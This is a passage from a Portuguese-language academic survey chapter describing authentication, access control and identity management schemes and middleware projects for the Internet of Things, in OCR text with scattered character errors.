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ao requisitante. A habilidade C2 foi delegada para uma determinada aplicacdo, a qual
solicita acesso ao recurso determinado pela habilidade. O Gerente de Recursos solicita ao
PDP para que tome uma decisdo de controle de acesso baseada na habilidade apresentada.
Com base em suas regras, o PDP informa ao Gerente de Recursos (PEP) sobre sua decisao,
a qual € aplicada por ele.

Bob decide revogar a habilidade C1 que sua esposa possui. Para isso, ele cria uma
nova habilidade de revogacao, a qual € utilizada para informar ao Servico de Revogacao
que uma determinada habilidade foi revogada. Essa habilidade contém informacgdes sobre
o ID do recurso ao qual a habilidade a ser revogada se aplica, qual a habilidade a ser
revogada, quem estd revogando esta habilidade, o periodo a partir do qual a revogacao é
vélida, qual a habilidade que garante direitos a Bob de solicitar essa revogacdo e, por fim, a
assinatura digital de Bob. O Servigo de Revogacdo, apds verificar que Bob estd autorizado
a realizar a operacdo de revogacgao, aplica a revogacdo da habilidade e atualiza as regras do
PDP [Rotondi et al. 2011].

4.6.1.6. Hanumanthappa e Singh 2012

[Hanumanthappa e Singh 2012] apresentam uma técnica de autenticacio de usudrios que
visa garantir, além da autenticidade do usudrio, a posse do dispositivo pelo usudrio correto,
o dono do dispositivo. Através disso, operacdes que demandam maior seguranga, como
0 acesso a uma conta bancdria, poderao ser feitas pelo usudrio no dispositivo, desde que
tanto o usudrio quanto o dispositivo sejam autenticados e que o usudrio tenha se registrado
previamente como dono do dispositivo.

A solucdo proposta passa por quatro etapas. A primeira etapa € feita pelo fabricante
do dispositivo (antes de sua venda), que o registra em um Key Distribution Center (KDC)
exclusivo para fabricantes de dispositivos. Esse registro é feito através do envio do
identificado (ID) e do nimero do modelo do dispositivo (Device Model Number — DMN).
O KDC gera um token (T) composto pelo hash da ID do fabricante do dispositivo e um
timestamp e os envia ao fabricante. Esse foken é armazenado, juntamente com o ID do
dispositivo e seu DMN, em um Central Key Server (CKS) para uso futuro no processo
de autenticacdo do dispositivo. Esse foken € criptogratado com o algoritmo RSA e entdo
gravado no Trusted Platform Module (TPM) embarcado no dispositivo.

A segunda etapa, referente ao registro do usudrio como dono, € realizada apds
a venda do dispositivo. O dono do dispositivo se registra no CKS, enviando o ID do
dispositivo e o token (T). O CKS compara estas informacdes com o ID do dispositivo e
o token recebidos do fabricante na primeira etapa. Se esta verificacao for bem-sucedida,
o CKS envia ao usudrio uma mensagem de acknowledgement (ACK) informando que a
autenticacdo do dispositivo foi bem-sucedida e uma senha OTP (one time password). Em
seguida, o usudrio precisa se registrar, e para isso informa seu ID de usudrio e a senha
OTP ao CKS. Finalizada a etapa de registro, o CKS envia um ACK ao usudrio, junto com
um Temp ID. A partir desse momento, o usudrio pode acessar qualquer servico com seu
dispositivo.

A terceira etapa trata de como usudrios (ndo donos) se conectam nos dispositivos,
etapa esta realizada por meio da Internet. Inicialmente, o usuério (A) que deseja se
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conectar ao dispositivo de outro usudrio (B) envia ao CKS seu Temp ID, o token (T) do
seu dispositivo e os detalhes do dispositivo que este deseja se conectar. O CKS compara
entdo o Temp ID e o token (T) com os armazenados na fase de registro do usudrio e, caso a
verificacdo seja bem sucedida, o CKS solicita que B envie seus dados para o CKS (foken
(T)) para que uma verificacdo também seja conduzida. Se a verificagdo de B for bem
sucedida, entdo o CKS envia uma chave de sessdo (one time session key) para ambos 0s
dispositivos, que podem, entdo, se comunicar. Caso alguma das verificacdes nao seja bem
sucedida, o CKS envia uma mensagem ao outro usudrio informando que ele estd tentando
realizar uma conexao com uma entidade ndo confidvel.

A ualtima etapa, de transagdes de alto nivel, € aquela em que o usudrio envia, através
do dispositivo, informacdes importantes e sensiveis para provedores de servigo (como o
acesso a uma conta bancéria). Caso o usudrio deseje realizar uma transacao desse tipo,
este enviard ao CKS a requisi¢@o de servi¢o, uma senha (pass-phrase P2) conhecida por
ele e pelo CKS (informada manualmente pelo usuario), o token (T), seu Temp ID e um
nonce. O CKS entdo autentica o usudrio com base nas informacdes armazenadas nas etapas
anteriores e envia como resposta o ID de um provedor de servigos adequado para atender a
requisi¢ao do usudrio. Junto com o ID do provedor de servicos, o CKS envia ao usudrio
uma chave de sessdo (K), a senha P2, uma senha (pass-phrase P1, conhecida apenas pelo
CKS) encriptada com um nonce do CKS. O usudrio verifica se P2 € igual ao P2 enviado
anteriormente e, em caso positivo, armazena K. Por fim, o usudrio envia ao provedor de
servigo o ID desse provedor e a senha P1 cifrada, conforme veio do CKS.

O provedor de servigo envia ao CKS a P1 cifrada e o ID do usuario. Apds receber
essa mensagem, o CKS a confronta com as informagdes armazenadas das mensagens
anteriores e autentica o provedor de servicos. O CKS entao responde ao SP com duas
mensagens, (i) uma contendo o P2, K e o ID do provedor de servigo, cifradas com o nonce
do usudrio e (ii) outra contendo K e a ID do usuério. Por fim, o provedor de servico envia
ao usudrio uma mensagem contendo o P2, K e a ID do provedor de servigo, cifrados com o
nonce do usudrio, conforme recebido do CKS no passo anterior. O usudrio entdo decifra
essa mensagem e verifica se P2 é o mesmo que foi mandado no inicio para o CKS e se K
corresponde ao valor armazenado anteriormente. Se sim, o usudrio autentica o provedor
de servico com a certeza de que ndo € uma entidade maliciosa. A partir desse momento,
usudrio e provedor de servico trocardo mensagens cifradas com K, que é comum a ambos.

4.6.1.7. Liu et al. 2012

[Liu et al. 2012] apresentam uma arquitetura para Internet das Coisas que contempla
a autenticacdo e controle de acesso para dispositivos e usudrios. Nesta arquitetura, os
dispositivos s3o nos finais da arquitetura da Internet, tendo enderecos tnicos globais (como
IPv6) e podem-se comunicar entre si através da Internet.

A fim de gerenciar e organizar recursos massivos, o dispositivo faz seu pré-registro
em um gateway confidvel, denominado Autoridade de Registro (Registration Authority
— RA). O RA auxilia o processo de autenticacdo e pode também ser usado para fins de
auditoria.

O protocolo de autenticagdo proposto € mostrado na Figura 4.6. Inicialmente,
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o usudrio solicita acesso a um dispositivo (passo 1), o qual envia uma solicitacdo de
autenticacdo do usudrio para seu RA (passo 2). O RA entdo solicita ao usudrio a sua
identidade (ID) de usudrio (passo 3), o qual responde com informagdes sobre o seu Home
Registration Authority (HRA) e a sua ID (passo 4). No passo 5, o RA solicita ao HRA a
verificacdo da ID do usudrio. Para isto, 0o HRA, autentica o usudrio utilizando oo método de
autenticacdo que melhor se adeque as suas necessidades (passos 5.1 e 5.2). Na sequéncia,
o HRA responde ao RA que a ID do usudrio € vdlida ou nao (passo 6). Por fim, o RA
responde ao dispositivo sobre a ID do usudrio e gera uma chave de sessdo para ambos,
utilizando um protocolo de estabelecimento e distribui¢do de chaves baseado em curvas
elipticas (ECC) (passo 7).

Coisas

Usudrio

Figura 4.6: Protocolo de Autenticagdo — [Liu et al. 2012]

[Liu et al. 2012] também sugerem que o controle de acesso aos dispositivos
seja feito pelo RA, usando o modelo RBAC. O algoritmo de controle de acesso decide
quando uma nova conexao serd aceita com base também nas informacdes de qualidade
da comunicagao. Caso a qualidade seja garantida, a conexao € aceita. Caso contrdrio, a
conexao € descartada ou colocada em uma lista de espera. As conexdes sao classificadas
em dois tipos: (i) a solicitacdo de um novo servico que € disparada por usuarios moveis
dentro de um mesmo dominio e (ii) a solicitacdo de troca de dominio, feita por usudrios
moveis que estdo mudando de um dominio para outro. O segundo caso tem mais prioridade
na aceitacdo da conexao, haja vista que para os usudrios € pior interromper um servico que
estd sendo prestado, do que ser impossibilitado de ter acesso a um servigo.

Para a aceitacdo de uma conexdo pelo mecanismo de controle de acesso também
sdo levadas em consideracao os requisitos de Qualidade de Servi¢o da conex@o solicitada,
baseado nas diferentes caracteristicas tecnoldgicas das redes disponiveis. Por exemplo, um
dominio pode ter duas redes, uma rede local sem fio, que possui largura de banda maior,
porém tem um atraso maior, € uma rede tipica de Internet das Coisas, com baixo atraso
e largura de banda limitada. Baseado nessas informag¢des, o0 mecanismo de controle de
acesso julga se uma nova conexao sera aceita ou ndo, permitindo a otimiza¢do do uso da
rede. Por fim, aos usudrios sdo atribuidos papéis dentro do dominio, baseado nas politicas
configuradas para cada aplicacdo. De posse de todas essas informacdes, 0 mecanismo de
controle de acesso baseado no modelo RBAC toma a decisio de aceitacdo ou nao de uma
nova conexao.
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4.6.1.8. VIRTUS Middleware [Conzon et al. 2012]

Em [Conzon et al. 2012] € apresentado o middleware VIRTUS, o qual € orientado a eventos
e tem como base o protocolo XMPP (eXtensible Messaging and Presence Protocol) [Saint-
Andre 2004], amplamente utilizado como protocolo para troca de mensagens instantaneas
e que possui mecanismos de seguranga que contribuem com a interoperabilidade, como
a federagdo de servidores e o mapeamento sobre o HTTP. No VIRTUS, os protocolos
TLS (Transport Layer Security) e SASL (Simple Authentication and Security Layer)
sdo utilizados para garantir a integridade e confidencialidade das mensagens e para a
autenticacdo das partes envolvidas, respectivamente.

TinyOS
BUNDLE
GATEWAY
o MIDDLEWARE
c°“t'k_'- ' INSTANCE
@ BUNDLE
MANAGER

Figura 4.7: Moédulos do middleware VIRTUS — [Conzon et al. 2012]

A Figura 4.7 ilustra os médulos presentes no middleware VIRTUS, conforme
descritos a seguir:

e Moddulos personalizados: também chamados de bundles (p.ex. Zigbee bundle), sdo
usados para permitir a comunicagdo entre dispositivos com restri¢des computacio-
nais e o Servidor VIRTUS, traduzindo as mensagens especificas da tecnologia do
dispositivo para XMPP. Geralmente, sdo implementados em um intermediador entre
o dispositivo e o resto do middleware;

e Servidor VIRTUS: utilizado para gerenciar a comunicagdo entre 0s componentes
do middleware, sendo que ha um servidor para cada rede (dominio) na qual o
middleware € implementado;

e Manager: gerencia a conexdo entre os diversos modulos do middleware. Este
também prové uma lista dos médulos disponiveis e faz o gerenciamento de depen-
déncias;

e Gateway: se comunica com a instancia local do Servidor VIRTUS, assim como com
instancias remotas do middleware. Este componente € o intermediario entre qualquer
aplicag@o que deseje se comunicar com qualquer dispositivo dentro do middleware.

O middleware considera a existéncia de trés tipos distintos de dispositivos: dis-
positivos com muitos recursos — como servidores, que implementam todo o middleware;
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dispositivos restritos — como smartphones, que implementam moddulos cliente XMPP
para interagir com outros méodulos; e dispositivos simples — como sensores e etiquetas
RFID, que tem suas mensagens encapsuladas em formato XMPP por um outro dispositivo
com mais recursos computacionais. A comunicac¢ao intra-dominio e inter-dominio € feita
através de troca de mensagens XMPP, contudo hd mdédulos que permitem a comunicagdo
com outras arquiteturas, como por exemplo com Servigos Web.

4.6.1.9. Seitz et al. 2013

[Seitz et al. 2013] propdem um framework para loT que permite o controle de acesso
flexivel e com granularidade fina para dispositivos com recursos computacionais restritos.
O padrao XACML ¢ utilizado visando permitir a aplicacdo de diferentes regras de autoriza-
cdo para diferentes clientes, além de permitir o controle de acesso em granularidade igual
a de servicos RESTful. As fun¢des desempenhadas no processo de decisdo de autorizagdo
sdo tomadas fora do dispositivo que oferece o recurso, em um PDP, sendo que o dispositivo
fica responsdvel pela tomada de decisao final de autorizagao.

Apesar da decis@o de autorizagdo ser tomada, basicamente, fora do dispositivo,
as condicoes locais ao dispositivo também sdo importantes para a tomada de decisao
(localizagdo, por exemplo), sendo que estas ndo sdo encaminhadas para a tomada de
decisdao do PDP, mas avaliadas localmente apds a decisdo ter sido tomada. Neste trabalho,
estas condicoes sao expressas através de XACML Obligations, isto &, restricdes perante
as quais a decisao de autorizacdo do PDP ¢ valida. Para o transporte das decisdes de
autorizacao do PDP ao dispositivo, os autores propdem o o uso de assercoes SAML de
decisdo de autorizacgao.

O framework de autorizagdo considera trés entidades:

e Dispositivo: armazena recursos;

e Usudrio: deseja acessar um recurso, enviando ao dispositivo, além da requisi¢ao de
acesso, a assercdo gerada pelo AE;

e Motor de Autorizacdo (Authorization Engine - AE): faz a avaliacdo de politicas de
autorizagdo e gera as assercoes de autorizagdo para que o UsSuirio acesse o recurso.
Este atua em nome do dono do dispositivo que configurou as politicas de acesso.

Para que seja possivel gerar uma asser¢do baseada na identidade do usuario, o
motor de autoriza¢do deve autenticar o usudrio, gerar a assercao de autorizacdo e assina-la
utilizando uma chave conhecida e confidvel para o dispositivo, permitindo que este possa
verificar se a asser¢ao é proveniente ou ndo de uma fonte confidvel. Deste modo, ao receber
do usudrio um pedido de acesso a um recurso de um dispositivo, 0 motor de autorizacao,
verifica se o usudrio tem direito de acesso e gera, em caso positivo, uma asser¢ao para
este usudrio. Junto da assercdo € informada a chave de criptografia que deve ser usada na
comunicacao do dispositivo com o usudrio.

O dispositivo, ao receber a assercao do usudrio junto com a requisi¢ao de acesso,
verifica as condi¢des locais (através das XACML Obligations) e se os direitos da assercao
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de autorizacao correspondem a requisicao. Se o acesso for confirmado para as condicdes
locais especificadas, o dispositivo garante o acesso ao recurso. De modo a facilitar
o processamento das respostas XACML e asser¢des SAML no dispositivo, os autores
definiram um subconjunto das especificagdes originais. Com o mesmo objetivo, a nota¢do
XML desse subconjunto foi substituida por uma notagdo baseada em JSON (JavaScript
Object Notation), mais leve para o cendrio, reduzindo a razdo dez vezes o tamanho das
mensagens.

4.6.1.10. Mahalle et al. 2013a

[Mahalle et al. 2013a] apresentam um modelo de controle de acesso baseado em habilida-
des e autenticacio de identidades (Identity Authentication and Capability Based Access
Control — TACAC) para Internet das Coisas. A inovag¢do do modelo é que ele apresenta
uma abordagem integrada de autenticacio e controle de acesso para dispositivos em [oT,
por meio de um novo método de autenticacdo de dispositivos e controle de acesso para
recursos. O esquema proposto (IACAC) é compativel com diferentes tecnologias de acesso
como Bluetooth, 4G, Wimax e WiFi, sendo que no trabalho a implementacgdo € realizada
em um ambiente WiFi.

No modelo, o algoritmo proposto é dividido em trés partes: (i) geracao de chave
secreta baseado no algoritmo Elliptical Curve Criptography — Diffie Hellman (ECCDH),
(i1) estabelecimento de identidade e (iii) criacao de habilidade para controle de acesso.

O dispositivo ao ingressar em um dominio recebe um par de chaves. Essas chaves
sdo geradas por um ou mais Key Distribution Center (KDC) considerados confidveis. Em
cada dominio, hd um acordo acerca de um parametro de dominio relacionado ao protocolo
ECC, comum a todos os dispositivos daquele dominio. Quando dois dispositivos desejam
se comunicar, estes ddo inicio a primeira etapa do algoritmo. Nesta etapa, os dispositivos
enviam mensagens para troca de suas chaves publicas, permitindo o estabelecimento de
uma chave secreta (X) para comunicacao entre estes.

A segunda etapa possibilita a autenticacdo em uma via (one way)ou mutua. Na
autenticacdo de uma via, o dispositivo A autentica o dispositivo B. Neste processo de
autenticacdo, o dispositivo A gera um numero (r) e um timestamp (t). Uma chave de
sessdo (s) € entdo gerada pelo dispositivo A, a partir do hash de uma operacao XOR entre
a chave secreta (X) e o timestamp (t). Na sequéncia, o dispositivo A cifra o nimero (1)
com a chave de sessao (s), gerando (R), e encripta também o timestamp (t) com a chave
secreta (X), gerando (T). Em seguida, o dispositivo A gera um cédigo de autenticacio de
mensagem (Message Authentication Code MAC) contendo a chave secreta (X), R e um
token de habilidade baseado na identidade (chamado de ICAP). Apds esse processo, o
dispositivo A envia ao dispositivo B uma mensagem contendo R, T e o MAC gerado.

O dispositivo B, ao receber a mensagem vinda do dispositivo A, gera um timestamp
local e confere se o timestamp (t) € menor que o local. Se sim, o dispositivo B tenta
calcular a chave de sessdo (s) para poder decifrar R, conseguindo assim acesso ao nimero
(r) gerado pelo dispositivo A. O dispositivo B possui uma copia da ICAP que supostamente
deverd vir do dispositivo A. Assim, se a ICAP fornecida pelo dispositivo A for igual a
ICAP armazenada no dispositivo B, este ultimo calculard 0o MAC. Se o MAC gerado pelo
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dispositivo B corresponder ao MAC que foi recebido, entdo o dispositivo B autentica o
dispositivo B.

Para que ocorra a autentica¢do mutua (dispositivo A autentica o B), o dispositivo B
cifra o nimero (r) com a chave secreta (X), gerando R1. Também é gerado por B um MAC
contendo o numero (r) € a ICAP armazenada por B. Em seguida, R1 e o MAC gerado sao
enviados para o dispositivo A. Quando a mensagem chega no dispositivo A, este decifra
R1 e acessa o niimero (r) enviado por B. Se (r) for igual ao nimero (r) gerado no inicio da
autenticacdo, o processo de autenticacdo mutua foi bem sucedido e o acesso serd garantido
de acordo com a ICAP do dispositivo B.

Na terceira etapa, de criacdo de habilidades para o controle de acesso, considera-se
que a habilidade € composto por (1) um token que contém um conjunto de direitos de
acesso, (2) um identificador do usudrio ou dispositivo que € dono desta habilidade e (3)
um hash dos dois elementos anteriores (para evitar que a habilidade seja forjada). Essa
habilidade € utilizada na segunda etapa, sendo enviada no processo de autenticacao.

4.6.2. Projetos
4.6.2.1. Middleware Hydra

O objetivo principal do projeto Hydra (Link Smart Middleware)’ foi o desenvolvimento
de um middleware baseado em uma arquitetura orientada a servicos (SOA), para a qual a
camada de comunicagdo subjacente € transparente. O middleware deve incluir suporte para
arquiteturas distribuidas e centralizadas seguras. O middleware foi concebido para operar
em dispositivos que possuem limitagdes de recursos em termos de poder computacional,
energia e uso de memoria. Este deve permitir o desenvolvimento de aplicagdes seguras,
confidveis e tolerantes a faltas através do uso de componentes de seguranca distribuidos.

Em [Akram e Hoffmann 2008b] sdo apresentados os requisitos de gestdo de identi-
dades (Identity Management - IdM) e sdo introduzidas as recomendacdes para a arquitetura
do middleware. Neste trabalho, foram extraidos 10 requisitos para IdM, tendo como
referéncia um cendrio de automacao residencial do Projeto Hydra.

[Akram e Hoffmann 2008c] € proposto um metasistema de identidades, indepen-
dente de tecnologia, que possui trés papéis: o sujeito, ao qual se refere a identidade; a
Relying Party (RP), que requisita informagdes de identidade relacionadas ao sujeito, € o
Identity Provider (IdP), que fornece informacdes de identidade do sujeito. No Hydra, uma
identidade tipicamente compreende: (1) Identificadores virtuais temporarios; (2) Atributos
que especificam a entidade; (3) Histérico de acessos feito a esta entidade e a partir desta
entidade.

No projeto foram definidos alguns requisitos para o gestor de identidades Hydra
(Hydra Identity Manager - HIM), a saber:

e Permitir que o usudrio seja o responsdvel por controlar os dados enviados e recebidos;

e Liberar o minimo de informacao (somente o suficiente), para que uma determinada
acao seja executada;

Shttp://www.hydramiddleware.eu/
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e Garantir a irretratabilidade (ndo repudio dos dados trocados;

e Suportar diferentes tecnologias de gerenciamento de identidade de diversos fabrican-
tes, além de prover a interoperabilidade dessas diferentes tecnologias;

e Desacoplamento da camada de identidade da camada de aplicagdo, permitindo que
as politicas e componentes de I[dM sejam alterados sem que as aplicagdes sofram
alteracdes, e vice-versa;

e Preocupacdo com aspectos de usabilidade do usudrio, nos processos de selecdo e
divulgagdo da identidade;

e Experiéncia consistente entre contextos, considerando o fato de que uma entidade
pode ter muitas identidades (e vice-versa) dependendo do contexto (para prover mais
privacidade aos usudrios);

e Escalabilidade no gerenciamento das identidades, em fun¢do da dinamicidade do
ambiente (entidades entrando e saindo do ambiente frequentemente).

De modo a atender esses requisitos, 0 Hydra Middleware constituiu a arquitetura da
HIM de modo a integrar diversas tecnologias e especifica¢des, dentre elas WS-*, Windows
Cardspace, OpenID e SAML. A ideia € que haja um complemento entre as tecnologias para
prover uma solu¢do de gestdo de identidades, de modo que uma tecnologia complemente
aspectos de seguranga falhos na outra.

4.6.2.2. Butler - SmartLife

BUTLER, acrénimo de uBiquitous, secUre inTernet-of-things with Location and contExt-
awaReness, ¢ um projeto europeu em andamento que comegou suas atividades em outubro
de 2011. O projeto aborda aspectos de pervasividade, consciéncia de contexto e seguranga
na Internet das Coisas. Integra tecnologias existentes e desenvolve novas tecnologias a
fim de formar um conjunto de aplicagdes, servigcos e caracteristicas das plataformas que
permitird trazer a Internet das Coisas para a vida didria [BUTLER 2011].

O projeto apresenta solugdes para cendrios como Smart Home/Office, Smart Shop-
ping, Smart Mobility/Transport, Smart Health e Smart Cities. Foram definidos papéis de
segurang¢a no nivel de aplicagdo, que refletem os stakeholders participantes das interagcoes
em cada cendrio. Os papéis definidos no projeto sdo [Hennebert et al. 2013]:

e Usudrio: entidade que ganha acesso a um recurso. Normalmente € um humano, mas
pode ser também uma aplicagao;

e Provedor de Recurso: entidade que prové um recurso e opcionalmente o atualiza.
Ele deve conferir o token de acesso apresentado para que possa prover/atualizar um
recurso;

e Consumidor de Recurso: aplicacao cliente recuperando e consumindo recursos em
nome do usudrio;
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e Servidor de Autorizacdo: € a entidade que implementa a gestao de controle de acesso.
E responsdvel pela autenticacio do usudrio e autoriza¢io do consumidor de recurso
através da geracdo de um foken de acesso relacionado ao recurso que se deseja
acessar. Opcionalmente, pode delegar a tarefa de autenticacdo para o servidor de
autenticacao;

e Servidor de Autenticagdo: esta entidade pode ser utilizada pelo servidor de autoriza-
cdo de modo a confiar em um protocolo de autenticacdo que nao € implementado
nativamente no servidor de autorizacdo. Isso significa que o servidor de autenticagdao
e o servidor de autorizacdo precisardo fazer a federacao de identidades de usuérios.

A Figura 4.8 ilustra o fluxo de mensagens, baseado no protocolo OAuth 2.0, para
acesso a um recurso, o qual deve ser autorizado pelo usudrio. Utilizando um agente de
usudrio (como um navegador web), o usudrio requisita um servi¢o a um Provedor de
Servigo, que neste caso fard o papel de Consumidor do Recurso. Através do agente de
usudrio, a aplicacio do Provedor de Servico requisita um cddigo de autorizagdo para acesso
ao recurso. O Servidor de Autorizagdo valida a aplicacdo e retorna um foken de aplicacdo.

an Consumidor Servidor de Provedor do
Usuario F e
do Recurso Autorizagao Recurso
Requisicdo de Servigoﬁ
bRedirecionamento—

Aplicagdo requisita authz-cod

Verificagdo
da Aplicagdo
“app-tokerr

]
Aplicagdo requisita authz-code (app-tokeny————————————y
|
| «@————————Usuario se autentica e autoriza a aplicagdo a acessar o FECUIS Qe

authz-code

authz-code >

Requisita token de acesso 3

(app-token, authz-code)

&——Token de Acesso + Chave de Sess3o——

Recupera o recurso (token de acesso) usando a chave de sesséH

Validao
token

Recurso

N

Servigor

Figura 4.8: Fluxo de mensagens para acesso a um recurso - [Hennebert et al. 2013]

De posse do token, a aplicacdo requisita novamente o c6digo de autorizagdo e o
usudrio realiza o processo de autenticacdo junto ao Servidor de Autorizacdo e autoriza a
aplicagdo a acessar o recurso desejado, recebendo o cédigo de autorizacdo. Em seguida,
em nome do usudrio (e ndo mais através do agente de usudrio), a aplicacdo do provedor de
servigo, através do cddigo de autorizagcdo obtido no passo anterior, requisita ao Servidor
de Autorizagdo um foken de acesso. O Servidor de Autorizagdo gera o token de acesso
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e também gera uma chave de sess@o, que serd usada entre a aplicagdo do provedor de
servigo e o Provedor de Recurso. Utilizando o foken de acesso e a chave de sessdo gerada,
a aplicacdo requisita o recurso ao Provedor de Recurso. O Provedor de Recurso, por sua
vez, valida o token de acesso e prove o recurso. Por fim, a aplicacio do provedor de servico
consome o recurso e prové o servico ao usudrio [Hennebert et al. 2013].

4.6.2.3. Middleware SMEPP

SMEPP, acronimo de Secure Middleware for Embedded Peer-to-Peer systems, ¢ um
projeto de middleware para sistemas embarcados em uma arquitetura P2P (Peer-to-Peer)
que tem como foco a seguranca. O middleware visa facilitar o desenvolvimento de
aplicacdes, escondendo detalhes das plataformas dos sistemas e detalhes relacionados
a escalabilidade, adaptabilidade e interoperabilidade entre tais sistemas. Desse modo,
uma premissa deste middleware € prover mecanismos que garantam interagdes seguras
entre os pares e abstraiam para os desenvolvedores de aplicagdes os problemas como
falta de infraestrutura e vulnerabilidades de seguranca. Também tem como premissa
que o middleware seja altamente personalizdvel e adaptavel a diferentes dispositivos e
dominios [Caro et al. 2009, Roman et al. 2011a].

Extensions Service Model Support
Streaming NW SMEPP API LG
Browsing Tools
SMEPP Common Services
Service Group Overlay Network
Management Management Management
Group Security
Extension Event
Management Management

Cryptographic
Services

Secure High Level Peer Communication (SHLPC)

Topology Management Infrastrlctlre
Adaptation Layer Security

Figura 4.9: Arquitetura do Middleware SMEPP - [Roman et al. 2011a]

Na arquitetura do SMEPP os componentes sdo divididos em camadas, como pode
ser visto na Figura 4.9. A camada superior consiste em uma API para os desenvolvedores
de aplicagdes, a qual permite o acesso aos servicos do middleware, além de servigos
especificos para cada dominio de aplicacdo. A camada intermedidria oferece servicos
comuns para qualquer aplica¢do que seja executado sobre o middleware, como gestdao
de eventos, gestdo de grupos e monitoramento de entrada e saida de dispositivo. A
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camada inferior, por sua vez, trata das implementagdes de funcionalidades oferecidas pelo
middleware na arquitetura em que ele estd embarcado, se preocupando com detalhes dos
dispositivos como a capacidade computacional e de energia. Contudo, a arquitetura pode
ser simplificada contendo apenas os componentes uteis para um determinado dominio e
contexto de aplicagdo [Caro et al. 2009, Roman et al. 2011a].

Dentro de uma rede SMEEP, os servicos sdo oferecidos para membros de um
mesmo grupo. Os componentes da camada de seguranga da arquitetura SMEEP sdo
apresentados a seguir: [Caro et al. 2009, Roman et al. 2011a].

e Seguranca de Grupo (Group Security): Responsdvel por estabelecer e manter as-
pectos de segurancga dentro dos grupos, desempenhando tarefas como autenticacao
de pares que tentam entrar em um grupo e garantindo a comunicacao segura entre
eles. E nesse componente que é definido, por exemplo, se um membro deve utilizar
criptografia simétrica ou assimétrica;

e Servigos de Criptografia (Cryptographic Services): prove primitivas criptograficas
que serdo usadas por outros componentes, como a cifragem, decifragem, assinaturas
digitais, codigo de autenticacdo de mensagem (MAC), etc. Também prové funciona-
lidades para geracdo de niimeros aleatérios, armazenamento de chaves e gestdo de
certificados;

e Infraestrutura de Seguranca (Infrastructure Security): faz uso de caracteristicas de
seguranca especificas dos sistemas em que o middleware estd embarcado, facilitando
a implementac¢ao dos componentes de seguranca. Como exemplo dessas caracte-
risticas dos sistemas tem-se os conjuntos de instrug¢des especificas para operagdes
criptogréificas que um processador pode ter, agilizando os processos de seguranga
em todo o middleware.

Para um sistema ingressar em um grupo € necessdrio que 0 mesmo apresente
credenciais de seguranca validas. Uma vez dentro do grupo, este sistema poderd se
comunicar de forma segura com os demais membros. Compete ao desenvolvedor da
aplicacao, que € executada sobre o middleware, o provimento de credenciais de seguranca
e ao middleware compete o processo para admissao de membros € a comunicacao segura
dentro do grupo [Caro et al. 2009].

4.6.2.4. Internet of Things - Architecture (IoT-A)

O projeto europeu Internet of Things - Architecture (I0T-A) tem como objetivo a cria¢do de
um modelo arquitetural de referéncia para a Internet das Coisas [IoT-A 2009]. Um ponto
interessante da arquitetura proposta € que esta define o que se deve ter em uma solucdo de
Internet das Coisas, mas ndo define através de qual tecnologia isso deve ser implementado.
O nucleo da arquitetura € composta por [Gruschka e Gessner 2012] :

e Autorizacdo (AuthZ): responsdvel pelo controle de acesso aos servigos e a infraestru-
tura de resolucao de servigos;
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e Autenticacio (AuthN): responsdvel pela autenticagdo de usudrios dos servicos;

e Gestdo de Identidades (Identity Management - IM): responsavel pela gestdo de
identidades, pseudonimos e politicas de acesso relacionadas;

e Gestao e Troca de Chaves (Key Exchange and Management - KEM): responsavel
pela troca de chaves criptogréficas;

e Confianca e Reputacao (Trust and Reputation - TRA): responsavel pela coleta de
pontuagdo sobre reputacao e pelo cdlculo do nivel de confianca dos servigos.

O componente AuthZ € responsdvel por tomar decisdes de controle de acesso
baseado em politicas de controle de acesso. De maneira abstrata, uma decisao de controle
de acesso pode ser modelada dessa forma: authZ(s, r, o) -> true, false. Neste caso, s é 0
sujeito tentando executar uma operacao o sobre um recurso r. A decisdo de controle de
acesso leva em consideracdo as informagdes do usudrio requisitante, do recurso e da a¢ao
que o usudrio deseja realizar , resultando em um valor booleano acerca da permissdo ou
negacao do acesso. Dessa forma, o componente AuthZ atua como um Policy Decision
Point (PDP) [Gruschka e Gessner 2012].

O componente AuthN garante que a identidade de um usudrio ou servigo € valida.
A funcionalidade bésica deste componente € oferecida da seguinte maneira: Assertion:
authenticate(UserCredential). Assertion € o componente de dados que garante que uma
autenticacao de um usudrio ocorreu em determinado momento através de um método de
autenticacao especifico. UserCredential € a entrada para o processo de autenticagdo, que
permite que o mecanismo tenha certeza de que o usudrio € quem diz ser ou ndo, sendo
normalmente baseado naquilo que o usudrio fem, naquilo que ele sabe ou naquilo que e
é [Gruschka e Gessner 2012].

O componente IM € responsdvel por gerar pseudonimos para as IDs dos usudrios e
servigos, garantindo assim o anonimato destes. Pseudonimos sdo identidades temporarias
de sujeitos ficticios (ou grupos de sujeitos) que podem ter suas credenciais usadas para
interagOes entre sujeitos ou grupos de sujeitos, ao invés de se usar a identidade e as
credenciais reais. De um ponto de vista abstrato, a funcionalidade que deve ser provida
pelo componente IM € a seguinte: createPseudo (sl [,s2, s3, ..., sn], p) -> s*. Neste caso,
s representa um sujeito ou um conjunto de sujeitos que requisitam um pseuddnimo s*. Ha
também um conjunto opcional de especificagdes chamado p, podendo ser, por exemplo,
o tamanho da chave, algoritmo a ser usado, validade do pseuddnimo, direitos de acesso,
etc [Gruschka e Gessner 2012].

A geracdo de pseudonimos obedece as seguintes regras: (i) garantir que os direitos
de acesso do pseuddnimo estejam contidos no conjunto de direitos do sujeito real; (ii)
garantir que o periodo de validade do pseudonimo seja menor ou igual ao do ID do sujeito
real; (ii1) garantir que os direitos de acesso de um grupo que solicita um pseudénimo seja
igual ou menor que o de qualquer um dos sujeitos do grupo; e (iv) garantir que o periodo
de validade do pseud6nimo seja menor ou igual que o de qualquer um dos sujeitos do
grupo. Os passos (iii) e (iv) sdo opcionais, haja vista que quem solicita o pseuddénimo
para o grupo devera ser responsabilizado pelo uso que é feito deste por qualquer um dos
componentes do grupo [Gruschka e Gessner 2012].
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Também, € responsabilidade do componente IM prover a interoperabilidade entre
diferentes frameworks de autenticacdo e autorizacdo, o que permite que a autenticacao
feita em um framework resulte em uma assercao que possa ser usada em outro framework
[Gruschka e Gessner 2012]. Dessa forma, os autores sugerem o uso do XACML para
implementar o AuthZ e do SAML para implementar o AuthN.

4.7. Consideracoes finais

As possibilidades de aplicagOes para Internet das Coisas sdo inumeras e, dentre estas, ha
potencial para criar ambientes inteligentes através dos smart objetcts, que sao objetos que
tem a capacidade de sentir e atuar sobre o meio em que estdo inseridos. As caracteristicas
diferenciadas e muitas vezes restritivas da [oT, como a sua natureza distribuida, a facilidade
de acesso fisico aos objetos e 0s objetos com recursos computacionais restritos, tornam o
provimento da seguran¢a um desafio.

